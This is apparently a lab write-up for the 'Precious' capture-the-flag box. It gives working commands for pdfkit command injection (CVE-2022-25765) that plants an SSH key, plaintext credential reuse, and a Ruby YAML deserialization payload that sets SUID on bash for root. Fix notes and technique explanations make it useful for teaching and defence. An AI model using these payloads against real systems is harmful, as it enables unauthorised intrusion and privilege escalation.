Precious
Summary
I reached a publicly exposed URL-to-PDF web application, identified an outdated and vulnerable Ruby pdfkit library (CVE-2022-25765), and injected shell commands through an unsanitised URL parameter to plant an SSH key and gain remote access. Post-login file-system exploration uncovered the password for a second account stored in plaintext inside a Bundler configuration file; that password was reused as the Linux login credential.
The second account held a passwordless sudo rule permitting execution of a Ruby maintenance script, which called the unsafe YAML.load function on a user-writable file. A crafted YAML deserialization payload caused the script to set the SUID bit on /bin/bash, granting a fully interactive root shell and completing the compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for henry>"Some commands also carry a value in angle brackets — <command>, <pubkey> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full port scan with version detection.
$ nmap -sC -sV -p- -oA precious $TARGETRead response headers to confirm framework and language leakage.
$ curl -si http://$TARGET/ -H 'Host: precious.htb'Exact commands 2
Locate EDB-51293 in the local ExploitDB mirror.
$ searchsploit pdfkitConfirm pdfkit is the PDF engine and read its version from metadata.
$ curl -s -X POST -d 'url=http://127.0.0.1/' -H 'Host: precious.htb' http://$TARGET/ -o /tmp/probe.pdf && exiftool /tmp/probe.pdf | grep -i 'producer\|creator\|pdfkit'FixUpgrade pdfkit and enforce strict URL validationCritical
<command>, causing the server to append my own SSH public key to the web-app user's authorized_keys file. A subsequent SSH login over port 22 delivered an interactive shell as that low-privilege account.mkdir -p ~/.ssh; echo '<pubkey>' >> ~/.ssh/authorized_keys; SSH login succeeded as ruby@$TARGETExact commands 3
Generate a throwaway key pair; precious_key.pub will be injected.
$ ssh-keygen -t ed25519 -f /tmp/precious_key -N ''Send the injection payload; server executes the embedded command as the web-app user.
$ python3 - <<PY
import requests
pub = open('/tmp/precious_key.pub').read().strip()
cmd = f"mkdir -p ~/.ssh; echo '{pub}' >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys"
payload = 'http://%20`' + cmd + '`'
r = requests.post("http://$TARGET/", headers={'Host': 'precious.htb'}, data={'url': payload}, timeout=15)
print(r.status_code, r.text[:80])
PYLog in using the planted key; substitute 'ruby' with the actual web-app username if different.
$ ssh -i /tmp/precious_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null ruby@$TARGETExact commands 2
Locate all Bundler config files on the system.
$ find / -name config -path '*/.bundle/*' 2>/dev/nullRead the credential file found in the web-app user's home directory.
$ cat ~/.bundle/configFixRemove plaintext credentials from Bundler config and enforce no password reuseHigh
Exact commands 1
Log in as henry, capture the user flag (value: <user.txt>), and enumerate sudo rights.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null henry@$TARGET 'id; cat /home/henry/user.txt; sudo -l'
uid=1000(henry)Exact commands 3
Confirm the dangerous sudo rule as henry.
$ sudo -l
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rbWrite the YAML gadget-chain payload; the embedded proc runs chmod u+s /bin/bash when deserialised.
$ cat > /home/henry/dependencies.yml << 'EOF'
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &2 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &3 !ruby/object:Net::WriteAdapter
socket: &4 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/proc "proc { |a,b| `chmod u+s /bin/bash` }"
method_id: :call
method_id: :resolve
EOFTrigger the script as root, which loads the malicious YAML and sets the SUID bit on bash.
$ sudo /usr/bin/ruby /opt/update_dependencies.rbFixReplace YAML.load with YAML.safe_load in all scripts that process external inputCritical
Exact commands 2
Invoke bash with privilege preservation; euid becomes 0 (root).
$ /bin/bash -pVerify root effective UID and read the flag (value: <root.txt>).
$ id && cat /root/root.txt
euid=0(root)FixRemove or strictly constrain sudo rules that grant root access to script interpretersHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.